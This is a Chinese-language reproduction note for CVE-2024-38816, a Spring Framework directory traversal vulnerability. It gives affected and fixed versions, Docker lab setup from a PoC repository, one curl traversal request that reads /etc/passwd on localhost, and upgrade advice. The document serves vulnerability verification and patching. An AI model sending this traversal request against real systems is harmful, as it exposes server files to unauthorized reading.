CVE-2024-38816 Spring Framework 目录遍历漏洞复验与验证

一、漏洞描述

Spring框架是 Java 平台的一个开源的全栈应用程序框架和控制反转容器实现。2024年9月,Spring官方发布公告披露 CVE-2024-38816 Spring Framework 特定条件下目录遍历漏洞。当同时满足使用 RouterFunctions 和 FileSystemResource 来处理和提供静态文件 时,攻击者可构造恶意请求遍历读取系统上的文件。

二、影响范围

1、影响版本

Spring Framework 5.3.0 - 5.3.39
Spring Framework 6.0.0 - 6.0.23
Spring Framework 6.1.0 - 6.1.12

其他更老或者官方已不支持的版本

2、安全版本

Spring Framework 5.3.40
Spring Framework 6.0.24
Spring Framework 6.1.13

三、环境搭建

Build the Docker image: (Spring Boot 3.0.13, based on Spring Framework 6.0.3)

git clone https://github.com/masa42/CVE-2024-38816-PoC.git #失效
git clone https://github.com/WULINPIN/CVE-2024-38816-PoC.git #备用
cd CVE-2024-38816-PoC/
docker build -t cve-2024-38816-poc .
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc

e1beb93798c98d9968ab46dc3b013047.png

四、漏洞利用

运行以下命令执行POC并确认漏洞:

curl http://localhost:8080/static/link/../etc/passwd

d0d49bae943f7f6850306d82358d57d6.png

五、修复建议

目前该漏洞已经修复,受影响用户可升级到以下版本:

Spring Framework 5.3.x:升级到5.3.40(仅限企业支持)
Spring Framework 6.0.x:升级到6.0.24(仅限企业支持)
Spring Framework 6.1.x:升级到6.1.13或更高版本